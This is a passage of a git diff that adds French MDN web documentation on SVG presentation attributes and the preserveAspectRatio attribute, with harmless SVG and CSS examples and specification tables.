+ <small><em>Valeur</em>: <a href="/docs/Web/SVG/Content_type#FuncIRI">&lt;FuncIRI&gt;</a>|<strong><code>none</code></strong>|<code>inherit</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-marker-start">{{SVGAttr('marker-start')}}</dt>
+ <dd>Définit la pointe de la flèche ou polymarker dessiné au début de l'élément {{SVGElement('path')}} ou ou de la forme.<br>
+ <small><em>Valeur</em>: <a href="/docs/Web/SVG/Content_type#FuncIRI">&lt;FuncIRI&gt;</a>|<strong><code>none</code></strong>|<code>inherit</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-mask">{{SVGAttr('mask')}}</dt>
+ <dd>Modifie la visibilité d'un élément en masquant ou détourant l'image à des endroits spécifiques.<br>
+ <small><em>Valeur</em>: see css {{cssxref('mask')}}; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-opacity">{{SVGAttr('opacity')}}</dt>
+ <dd>Spécifie l'opacité d'un objet ou d'un groupe d'objets.<br>
+ <small><em>Valeur</em>: <a href="/docs/Web/SVG/Content_type#Opacity_value">&lt;opacity-value&gt;</a>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-overflow">{{SVGAttr('overflow')}}</dt>
+ <dd>Spécifie si le contenu d'un élément bloc est tronqué lorsqu'il déborde de la zone de l'élément.<br>
+ <small><em>Valeur</em>: <code><strong>visible</strong></code>|<code>hidden|scroll</code>|<code>auto</code>|<code>inherit</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-pointer-events">{{SVGAttr('pointer-events')}}</dt>
+ <dd>Définit si et quand un élément peut être la cible d'un événement de la souris.<br>
+ <small><em>Valeur</em>: <code>bounding-box</code>|<code><strong>visiblePainted</strong></code>|<code>visibleFil</code>|<code>visibleStroke</code>|<code>visible</code> |<code>painted</code>|<code>fill</code>|<code>stroke</code>|<code>all</code>|<code>none</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-shape-rendering">{{SVGAttr('shape-rendering')}}</dt>
+ <dd>Indique au navigateur le compromis à effectuer entre vitesse et qualité du rendu des éléments {{SVGElement('path')}} et des formes.<br>
+ <small><em>Valeur</em>: <code><strong>auto</strong></code>|<code>optimizeSpeed</code>|<code>crispEdges</code>|<code>geometricPrecision</code> |<code>inherit</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-solid-color">{{SVGAttr('solid-color')}}</dt>
+ <dd>-<br>
+ <small><em>Valeur</em>:; <em>Animation</em>: <strong>-</strong></small></dd>
+ <dt id="attr-solid-opacity">{{SVGAttr('solid-opacity')}}</dt>
+ <dd>-<br>
+ <small><em>Valeur</em>:; <em>Animation</em>: <strong>-</strong></small></dd>
+ <dt id="attr-stop-color">{{SVGAttr('stop-color')}}</dt>
+ <dd>Indique la couleur à utiliser sur un {{SVGElement('stop')}} d'un dégradé.<br>
+ <small><em>Valeur</em>: <code>currentColor</code>|<a href="/en/SVG/Content_type#Color" title="en/SVG/Content_type#Color">&lt;color&gt;</a>|<a href="/en/SVG/Content_type#ICCColor" title="en/SVG/Content_type#ICCColor">&lt;icccolor&gt;</a>|<code>inherit</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-stop-opacity">{{SVGAttr('stop-opacity')}}</dt>
+ <dd>Indique l'opacité du {{SVGElement('stop')}}.<br>
+ <small><em>Valeur</em>: <a href="/en/SVG/Content_type#Opacity_value" title="en/SVG/Content_type#Opacity_value">&lt;opacity-value&gt;</a>|<code>inherit</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-stroke">{{SVGAttr('stroke')}}</dt>
+ <dd>Définit la couleur à utiliser pour le contour de l'élément.<br>
+ <small><em>Valeur</em>: <a href="/docs/Web/SVG/Content_type#Paint">&lt;paint&gt;</a>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-stroke-dasharray">{{SVGAttr('stroke-dasharray')}}</dt>
+ <dd>Définit le motif des pointillés utilisé pour dessiner le contour de la forme.<br>
+ <small><em>Valeur</em>: <code>none</code>|<code>&lt;dasharray&gt;</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-stroke-dashoffset">{{SVGAttr('stroke-dashoffset')}}</dt>
+ <dd>Décale la position de départ des pointillés.<br>
+ <small><em>Valeur</em>: <a href="/en/SVG/Content_type#Percentage" title="en/SVG/Content_type#Percentage">&lt;percentage&gt;</a>|<a href="/en/SVG/Content_type#Length" title="en/SVG/Content_type#Length"><span>&lt;length&gt;</span></a>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-stroke-linecap"><strong>{{SVGAttr('stroke-linecap')}}</strong></dt>
+ <dd>Définit la forme de la fin des lignes.<br>
+ <small><em>Valeur</em>: <code><strong>butt</strong></code>|<code>round</code>|<code>square</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-stroke-linejoin"><strong>{{SVGAttr('stroke-linejoin')}}</strong></dt>
+ <dd>Définit la manière de dessiner la liaison entre deux segments de ligne.<br>
+ <small><em>Valeur</em>: <code>arcs</code>|<code>bevel</code>|<code><strong>miter</strong></code>|<code>miter-clip</code>|<code>round</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-stroke-miterlimit"><strong>{{SVGAttr('stroke-miterlimit')}}</strong></dt>
+ <dd>Définit la limite du rapport entre la longueur du coin et la valeur de {{SVGAttr('stroke-width')}} utilisée pour dessiner la liaison entre deux segments de ligne.<br>
+ <small><em>Valeur</em>: <a href="/en/SVG/Content_type#Number" title="en/SVG/Content_type#Number">&lt;number&gt;</a>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-stroke-opacity"><strong>{{SVGAttr('stroke-opacity')}}</strong></dt>
+ <dd>Définit l'opacité du contour d'une forme.<br>
+ <small><em>Valeur</em>: <a href="/en/SVG/Content_type#Opacity_value" title="en/SVG/Content_type#Opacity_value">&lt;opacity-value&gt;</a>|<a href="/docs/Web/SVG/Content_type#Paint">&lt;percentage&gt;</a>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-stroke-width"><strong>{{SVGAttr('stroke-width')}}</strong></dt>
+ <dd>Définit l'épaisseur du contour appliqué à une forme.<br>
+ <small><em>Valeur</em>: <a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a>|<a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-text-anchor"><strong>{{SVGAttr('text-anchor')}}</strong></dt>
+ <dd>Définit l'alignement vertical d'une chaîne de texte.<br>
+ <small><em>Valeur</em>: <code>start</code>|<code>middle</code>|<code>end</code>|<code><strong>inherit</strong></code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-text-decoration"><strong>{{SVGAttr('text-decoration')}}</strong></dt>
+ <dd>Définit l'apparence des lignes décoratives sur le texte.<br>
+ <small><em>Valeur</em>: <code>none</code>|<code>underline</code>|<code>overline</code>|<code>line-through</code>|<code>blink</code>|<code><strong>inherit</strong></code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-text-rendering"><strong>{{SVGAttr('text-rendering')}}</strong></dt>
+ <dd>Indique au navigateur le compromis à effectuer entre vitesse et qualité du rendu du texte.<br>
+ <small><em>Valeur</em>: <code><strong>auto</strong></code>|<code>optimizeSpeed</code>|<code>optimizeLegibility</code>|<code>geometricPrecision</code>|<code>inherit</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-transform"><strong>{{SVGAttr('transform')}}</strong></dt>
+ <dd>Définit une liste de transformations à appliquer à un élément et à ses enfants.<br>
+ <small><em>Valeur</em>: <a href="/docs/Web/SVG/Content_type#Transform-list">&lt;transform-list&gt;</a>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-unicode-bidi"><strong>{{SVGAttr('unicode-bidi')}}</strong></dt>
+ <dd>-<br>
+ <small><em>Valeur</em>:; <em>Animation</em>: <strong>-</strong></small></dd>
+ <dt id="attr-vector-effect"><strong>{{SVGAttr('vector-effect')}}</strong></dt>
+ <dd>Spécifie l'effet vectoriel à utiliser lors du dessin d'un objet.<br>
+ <small><em>Valeur</em>: <code>default</code>|<code>non-scaling-stroke</code>|<code>inherit</code>|<code>&lt;uri&gt;</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-visibility"><strong>{{SVGAttr('visibility')}}</strong></dt>
+ <dd>Définit la visibilité d'éléments graphiques.<br>
+ <small><em>Valeur</em>: <strong><code>visible</code></strong>|<code>hidden</code>|<code>collapse</code>|<code>inherit</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-word-spacing"><strong>{{SVGAttr('word-spacing')}}</strong></dt>
+ <dd>Définit la longueur des espaces entre les mots d'un texte.<br>
+ <small><em>Valeur</em>: <a href="/en/SVG/Content_type#Length" title="https://developer.mozilla.org/en/SVG/Content_type#Length">&lt;length&gt;</a>|<code><strong title="this is the default value">inherit</strong></code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-writing-mode"><strong>{{SVGAttr('writing-mode')}}</strong></dt>
+ <dd>Spécifie si la direction d'un élément  {{SVGElement('text')}} doit être de gauche-à-droite, droite-à-gauche, ou de haut-en-bas.<br>
+ <small><em>Valeur</em>: <strong><code>lr-tb</code></strong>|<code>rl-tb</code>|<code>tb-rl</code>|<code>lr</code>|<code>rl</code>|<code>tb</code>|<code>inherit</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+</dl>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.attributes.presentation")}}</p>
diff --git a/files/fr/web/svg/attribute/preserveaspectratio/index.html b/files/fr/web/svg/attribute/preserveaspectratio/index.html
new file mode 100644
index 0000000000..b433de89fd
--- /dev/null
+++ b/files/fr/web/svg/attribute/preserveaspectratio/index.html
@@ -0,0 +1,423 @@
+---
+title: preserveAspectRatio
+slug: Web/SVG/Attribute/preserveAspectRatio
+tags:
+  - SVG
+  - SVG Attribute
+translation_of: Web/SVG/Attribute/preserveAspectRatio
+---
+<div>{{SVGRef}}</div>
+
+<p>L'attibut <strong><code>preserveAspectRatio</code></strong> indique comment un élément est mis à l'échelle lorsque le ratio largeur:hauteur du {{SVGAttr('viewBox')}} est différent du ratio de la zone d'affichage (définit par les attributs width et height).</p>
+
+<p>Parce que les proportions du SVG sont définis par l'attribut <code>viewBox</code>, si ce dernier n'est pas définit alors l'attribut <code>preserveAspectRatio</code> n'a aucun effet (<em>à l'exception près de l'élément {{SVGElement('image')}} comme décrit ci-dessous</em>).</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: html">&lt;svg viewBox="-1 -1 162 92" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;defs&gt;
+     &lt;path id="smiley" d="M50,10 A40,40,1,1,1,50,90 A40,40,1,1,1,50,10 M30,40 Q36,35,42,40 M58,40 Q64,35,70,40 M30,60 Q50,75,70,60 Q50,75,30,60" /&gt;
+  &lt;/defs&gt;
+
+  &lt;!-- (width&gt;height) meet --&gt;
+  &lt;svg preserveAspectRatio="xMidYMid meet"  x="0"   y="0"  viewBox="0 0 100 100" width="20"  height="10"&gt;&lt;use href="#smiley" /&gt;&lt;/svg&gt;
+  &lt;svg preserveAspectRatio="xMinYMid meet"  x="25"  y="0"  viewBox="0 0 100 100" width="20"  height="10"&gt;&lt;use href="#smiley" /&gt;&lt;/svg&gt;
+  &lt;svg preserveAspectRatio="xMaxYMid meet"  x="50"  y="0"  viewBox="0 0 100 100" width="20"  height="10"&gt;&lt;use href="#smiley" /&gt;&lt;/svg&gt;
+
+  &lt;!-- (width&gt;height) slice --&gt;
+  &lt;svg preserveAspectRatio="xMidYMin slice" x="0"   y="15" viewBox="0 0 100 100" width="20"  height="10"&gt;&lt;use href="#smiley" /&gt;&lt;/svg&gt;
+  &lt;svg preserveAspectRatio="xMidYMid slice" x="25"  y="15" viewBox="0 0 100 100" width="20"  height="10"&gt;&lt;use href="#smiley" /&gt;&lt;/svg&gt;
+  &lt;svg preserveAspectRatio="xMidYMax slice" x="50"  y="15" viewBox="0 0 100 100" width="20"  height="10"&gt;&lt;use href="#smiley" /&gt;&lt;/svg&gt;
+
+  &lt;!-- (width&lt;height) meet --&gt;
+  &lt;svg preserveAspectRatio="xMidYMin meet"  x="75"  y="0"  viewBox="0 0 100 100" width="10"  height="25"&gt;&lt;use href="#smiley" /&gt;&lt;/svg&gt;
+  &lt;svg preserveAspectRatio="xMidYMid meet"  x="90"  y="0"  viewBox="0 0 100 100" width="10"  height="25"&gt;&lt;use href="#smiley" /&gt;&lt;/svg&gt;
+  &lt;svg preserveAspectRatio="xMidYMax meet"  x="105" y="0"  viewBox="0 0 100 100" width="10"  height="25"&gt;&lt;use href="#smiley" /&gt;&lt;/svg&gt;
+
+  &lt;!-- (width&lt;height) slice --&gt;
+  &lt;svg preserveAspectRatio="xMinYMid slice" x="120" y="0"  viewBox="0 0 100 100" width="10"  height="25"&gt;&lt;use href="#smiley" /&gt;&lt;/svg&gt;
+  &lt;svg preserveAspectRatio="xMidYMid slice" x="135" y="0"  viewBox="0 0 100 100" width="10"  height="25"&gt;&lt;use href="#smiley" /&gt;&lt;/svg&gt;
+  &lt;svg preserveAspectRatio="xMaxYMid slice" x="150" y="0"  viewBox="0 0 100 100" width="10"  height="25"&gt;&lt;use href="#smiley" /&gt;&lt;/svg&gt;
+
+  &lt;!-- none --&gt;
+  &lt;svg preserveAspectRatio="none"           x="0"   y="30" viewBox="0 0 100 100" width="160" height="60"&gt;&lt;use href="#smiley" /&gt;&lt;/svg&gt;
+&lt;/svg&gt;</pre>
+
+<div class="hidden">
+<h6 id="topExample">topExample</h6>
+
+<pre class="brush: css">html,body,svg { height:100% }
+</pre>
+
+<pre class="brush: html">&lt;svg viewBox="-1 -1 162 92" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;defs&gt;
+     &lt;path id="smiley" d="M50,10 A40,40,1,1,1,50,90 A40,40,1,1,1,50,10 M30,40 Q36,35,42,40 M58,40 Q64,35,70,40 M30,60 Q50,75,70,60 Q50,75,30,60" /&gt;
+  &lt;/defs&gt;
+
+  &lt;!-- (width&gt;height) meet --&gt;
+  &lt;rect x="0" y="0" width="20" height="10"&gt;
+    &lt;title&gt;xMidYMid meet&lt;/title&gt;
+  &lt;/rect&gt;
+  &lt;svg viewBox="0 0 100 100" width="20" height="10"
+       preserveAspectRatio="xMidYMid meet" x="0" y="0"&gt;
+    &lt;use href="#smiley" /&gt;
+  &lt;/svg&gt;
+
+  &lt;rect x="25" y="0" width="20" height="10"&gt;
+    &lt;title&gt;xMinYMid meet&lt;/title&gt;
+  &lt;/rect&gt;
+  &lt;svg viewBox="0 0 100 100" width="20" height="10"
+       preserveAspectRatio="xMinYMid meet" x="25" y="0"&gt;
+    &lt;use href="#smiley" /&gt;
+  &lt;/svg&gt;
+
+  &lt;rect x="50" y="0" width="20" height="10"&gt;
+    &lt;title&gt;xMaxYMid meet&lt;/title&gt;
+  &lt;/rect&gt;
+  &lt;svg viewBox="0 0 100 100" width="20" height="10"
+       preserveAspectRatio="xMaxYMid meet" x="50" y="0"&gt;
+    &lt;use href="#smiley" /&gt;
+  &lt;/svg&gt;
+
+  &lt;!-- (width&gt;height) slice --&gt;
+  &lt;rect x="0" y="15" width="20" height="10"&gt;
+    &lt;title&gt;xMidYMin slice&lt;/title&gt;
+  &lt;/rect&gt;
+  &lt;svg viewBox="0 0 100 100" width="20" height="10"
+       preserveAspectRatio="xMidYMin slice" x="0" y="15"&gt;
+    &lt;use href="#smiley" /&gt;
+  &lt;/svg&gt;
+
+  &lt;rect x="25" y="15" width="20" height="10"&gt;
+    &lt;title&gt;xMidYMid slice&lt;/title&gt;
+  &lt;/rect&gt;
+  &lt;svg viewBox="0 0 100 100" width="20" height="10"
+       preserveAspectRatio="xMidYMid slice" x="25" y="15"&gt;
+    &lt;use href="#smiley" /&gt;
+  &lt;/svg&gt;
+
+  &lt;rect x="50" y="15" width="20" height="10"&gt;
+    &lt;title&gt;xMidYMax slice&lt;/title&gt;
+  &lt;/rect&gt;
+  &lt;svg viewBox="0 0 100 100" width="20" height="10"
+       preserveAspectRatio="xMidYMax slice" x="50" y="15"&gt;
+    &lt;use href="#smiley" /&gt;
+  &lt;/svg&gt;
+
+  &lt;!-- (width&lt;height) meet --&gt;
+  &lt;rect x="75" y="0" width="10" height="25"&gt;
+    &lt;title&gt;xMidYMin meet&lt;/title&gt;
+  &lt;/rect&gt;
+  &lt;svg viewBox="0 0 100 100" width="10" height="25"
+       preserveAspectRatio="xMidYMin meet" x="75" y="0"&gt;
+    &lt;use href="#smiley" /&gt;
+  &lt;/svg&gt;
+
+  &lt;rect x="90" y="0" width="10" height="25"&gt;
+    &lt;title&gt;xMidYMid meet&lt;/title&gt;
+  &lt;/rect&gt;
+  &lt;svg viewBox="0 0 100 100" width="10" height="25"
+       preserveAspectRatio="xMidYMid meet" x="90" y="0"&gt;
+    &lt;use href="#smiley" /&gt;
+  &lt;/svg&gt;
+
+  &lt;rect x="105" y="0" width="10" height="25"&gt;
+    &lt;title&gt;xMidYMax meet&lt;/title&gt;
+  &lt;/rect&gt;
+  &lt;svg viewBox="0 0 100 100" width="10" height="25"
+       preserveAspectRatio="xMidYMax meet" x="105" y="0"&gt;
+    &lt;use href="#smiley" /&gt;
+  &lt;/svg&gt;
+
+  &lt;!-- (width&lt;height) slice --&gt;
+  &lt;rect x="120" y="0" width="10" height="25"&gt;
+    &lt;title&gt;xMinYMid slice&lt;/title&gt;
+  &lt;/rect&gt;
+  &lt;svg viewBox="0 0 100 100" width="10" height="25"
+       preserveAspectRatio="xMinYMid slice" x="120" y="0"&gt;
+    &lt;use href="#smiley" /&gt;
+  &lt;/svg&gt;
+
+  &lt;rect x="135" y="0" width="10" height="25"&gt;
+    &lt;title&gt;xMidYMid slice&lt;/title&gt;
+  &lt;/rect&gt;
+  &lt;svg viewBox="0 0 100 100" width="10" height="25"
+       preserveAspectRatio="xMidYMid slice" x="135" y="0"&gt;
+    &lt;use href="#smiley" /&gt;
+  &lt;/svg&gt;
+
+  &lt;rect x="150" y="0" width="10" height="25"&gt;
+    &lt;title&gt;xMaxYMid slice&lt;/title&gt;
+  &lt;/rect&gt;
+  &lt;svg viewBox="0 0 100 100" width="10" height="25"
+       preserveAspectRatio="xMaxYMid slice" x="150" y="0"&gt;
+    &lt;use href="#smiley" /&gt;
+  &lt;/svg&gt;
+
+  &lt;!-- none --&gt;
+  &lt;rect x="0" y="30" width="160" height="60"&gt;
+    &lt;title&gt;none&lt;/title&gt;
+  &lt;/rect&gt;
+  &lt;svg viewBox="0 0 100 100" width="160" height="60"
+       preserveAspectRatio="none" x="0" y="30"&gt;
+    &lt;use href="#smiley" /&gt;
+  &lt;/svg&gt;
+&lt;/svg&gt;</pre>
+
+<pre class="brush: css">path {
+  fill: yellow;
+  stroke: black;
+  stroke-width: 8px;
+  stroke-linecap: round;
+  stroke-linejoin: round;
+  pointer-events: none;
+}
+
+rect:hover, rect:active {
+  outline: 1px solid red;
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample('topExample', '100%', 200)}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">preserveAspectRatio="&lt;align&gt; [&lt;meetOrSlice&gt;]"</pre>
+
+<p>La valeur de l'attribut est constituée d'un ou deux mots clés: l'alignement et l'option "meet ou slice" (satisfaire ou trancher) comme décrit ci-dessous:</p>
+
+<dl>
+ <dt>Alignement</dt>
+ <dd>L'alignement indique s'il faut forcer une mise à l'échelle uniforme et si oui, comment faire dans le cas où le rapport largeur:hauteur du {{ SVGAttr("viewBox") }} ne correspond pas à celui affiché. Les différentes valeurs possibles sont:
+ <ul>
+  <li><strong>none</strong><br>
+   Ne pas forcer la mise à l'échelle uniforme. Étirer le contenu de manière à ce que le contenu remplisse toute la hauteur et toute la largeur affichée. <em>Notez que si </em><code>&lt;align&gt;</code><em> vaut </em><code>none</code><em>, alors la valeur </em><code>&lt;meetOrSlice&gt;</code><em> est ignorée</em>.</li>
+  <li><strong>xMinYMin</strong> - Force la mise à l'échelle uniforme.<br>
+   Aligne le côté gauche de l'élément à gauche de la zone d'affichage.<br>
+   Aligne le côté haut de l'élément en haut de la zone d'affichage.</li>
+  <li><strong>xMidYMin</strong> - Force la mise à l'échelle uniforme.<br>
+   Aligne horizontalement le centre de l'élément au milieu de la zone d'affichage.<br>
+   Aligne le côté haut de l'élément en haut de la zone d'affichage.</li>
+  <li><strong>xMaxYMin</strong> - Force la mise à l'échelle uniforme.<br>
+   Aligne le côté droit de l'élément à droite de la zone d'affichage.<br>
+   Aligne le côté haut de l'élément en haut de la zone d'affichage.</li>
+  <li><strong>xMinYMid</strong> - Force la mise à l'échelle uniforme.<br>
+   Aligne le côté gauche de l'élément à gauche de la zone d'affichage.<br>
+   Aligne verticalement le centre de l'élément au milieu de la zone d'affichage.</li>
+  <li><strong>xMidYMid</strong> (<em>par défaut</em>) - Force la mise à l'échelle uniforme.<br>
+   Aligne horizontalement le centre de l'élément au milieu de la zone d'affichage.<br>
+   Aligne verticalement le centre de l'élément au milieu de la zone d'affichage.</li>
+  <li><strong>xMaxYMid</strong> - Force la mise à l'échelle uniforme.<br>
+   Aligne le côté droit de l'élément à droite de la zone d'affichage.<br>
+   Aligne verticalement le centre de l'élément au milieu de la zone d'affichage.</li>
+  <li><strong>xMinYMax</strong> - Force la mise à l'échelle uniforme.<br>
+   Aligne le côté gauche de l'élément à gauche de la zone d'affichage.<br>
+   Aligne le côté bas de l'élément en bas de la zone d'affichage.</li>
+  <li><strong>xMidYMax</strong> - Force la mise à l'échelle uniforme.<br>
+   Aligne horizontalement le centre de l'élément au milieu de la zone d'affichage.<br>
+   Aligne le côté bas de l'élément en bas de la zone d'affichage.</li>
+  <li><strong>xMaxYMax</strong> - Force la mise à l'échelle uniforme.<br>
+   Aligne le côté droit de l'élément à droite de la zone d'affichage.<br>
+   Aligne le côté bas de l'élément en bas de la zone d'affichage.</li>
+ </ul>
+ </dd>
+ <dt>Meet ou slice</dt>
+ <dd>La valeur <em>meet</em> ou <em>slice</em> est optionnelle. Les deux valeurs possibles sont:
+ <ul>
+  <li><strong>meet</strong> (<em>par défaut</em>) - Mettre à l'échelle l'image tel que:
+   <ul>
+    <li>les proportions sont préservées</li>
+    <li>la {{ SVGAttr("viewBox") }} est entièrement visible dans la zone d'affichage</li>
+    <li>la {{ SVGAttr("viewBox") }} est agrandie autant que possible, tout en respectant les autres critères</li>
+   </ul>
+   Autrement dit, si les proportions du contenu ne correspondent pas à la zone d'affichage, la zone d'affichage sera agrandie au-delà du {{ SVGAttr("viewBox") }} (la zone dans laquelle sera dessinée la {{ SVGAttr("viewBox") }} sera plus petite que la zone d'affichage).</li>
+  <li><strong>slice</strong> - Mettre à l'échelle l'image tel que:
+   <ul>
+    <li>les proportions sont préservées</li>
+    <li>la zone d'affichage est entièrement remplie par la {{ SVGAttr("viewBox") }}</li>
+    <li>la {{ SVGAttr("viewBox") }} est réduite autant que possible, tout en respectant les autres critères</li>
+   </ul>
+   Autrement dit, si les proportions du contenu ne correspondent pas à la zone d'affichage, la {{ SVGAttr("viewBox") }} sera agrandie au-delà de la zone d'affichage (la zone dans laquelle sera dessinée la {{ SVGAttr("viewBox") }} sera plus grande que la zone d'affichage).</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Éléments">Éléments</h2>
+
+<p>Sept éléments utilisent cet attribut: {{SVGElement("svg")}}, {{SVGElement("symbol")}}, {{SVGElement("image")}}, {{SVGElement("feImage")}}, {{SVGElement("marker")}}, {{SVGElement("pattern")}}, and {{SVGElement("view")}}.</p>
+
+<h3 id="feImage">feImage</h3>
+
+<p>Pour {{SVGElement('feImage')}}, <code>preserveAspectRatio</code> définit comment l'image doit être ajustée dans le rectangle défini par l'élément <code>&lt;feImage&gt;</code>.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong>&lt;align&gt; &lt;meetOrSlice&gt;?</strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>xMidYMid</code> <code>meet</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="image">image</h3>
+
+<p>Pour {{SVGElement('feImage')}}, <code>preserveAspectRatio</code> définit comment l'image doit être ajustée dans le rectangle défini par l'élément <code>&lt;image&gt;</code>.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong>&lt;align&gt; &lt;meetOrSlice&gt;?</strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>xMidYMid</code> <code>meet</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="marker">marker</h3>
+
+<p>Pour {{SVGElement('marker')}}, <code>preserveAspectRatio</code> indique si une mise à l'échelle unifrome doit être effectuée pour s'adapter à la zone d'affichage.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong>&lt;align&gt; &lt;meetOrSlice&gt;?</strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>xMidYMid</code> <code>meet</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="pattern">pattern</h3>
+
+<p>Pour {{SVGElement('pattern')}}, <code>preserveAspectRatio</code> indique si une mise à l'échelle unifrome doit être effectuée pour s'adapter à la zone d'affichage.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong>&lt;align&gt; &lt;meetOrSlice&gt;?</strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>xMidYMid</code> <code>meet</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="svg">svg</h3>
+
+<p>Pour {{SVGElement('svg')}}, <code>preserveAspectRatio</code> indique si une mise à l'échelle unifrome doit être effectuée pour s'adapter à la zone d'affichage.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong>&lt;align&gt; &lt;meetOrSlice&gt;?</strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>xMidYMid</code> <code>meet</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="symbol">symbol</h3>
+
+<p>Pour {{SVGElement('symbol')}}, <code>preserveAspectRatio</code> indique si une mise à l'échelle unifrome doit être effectuée pour s'adapter à la zone d'affichage.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong>&lt;align&gt; &lt;meetOrSlice&gt;?</strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>xMidYMid</code> <code>meet</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="view">view</h3>
+
+<p>Pour {{SVGElement('view')}}, <code>preserveAspectRatio</code> indique si une mise à l'échelle unifrome doit être effectuée pour s'adapter à la zone d'affichage.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong>&lt;align&gt; &lt;meetOrSlice&gt;?</strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>xMidYMid</code> <code>meet</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Filters 1.0", "#element-attrdef-feimage-preserveaspectratio", "preserveAspectRatio")}}</td>
+   <td>{{Spec2('Filters 1.0')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG2", "coords.html#PreserveAspectRatioAttribute", "preserveAspectRatio")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "coords.html#PreserveAspectRatioAttribute", "preserveAspectRatio")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/svg/attribute/seed/index.html b/files/fr/web/svg/attribute/seed/index.html
new file mode 100644
index 0000000000..3f2512fcf3
--- /dev/null
+++ b/files/fr/web/svg/attribute/seed/index.html
@@ -0,0 +1,44 @@
+---
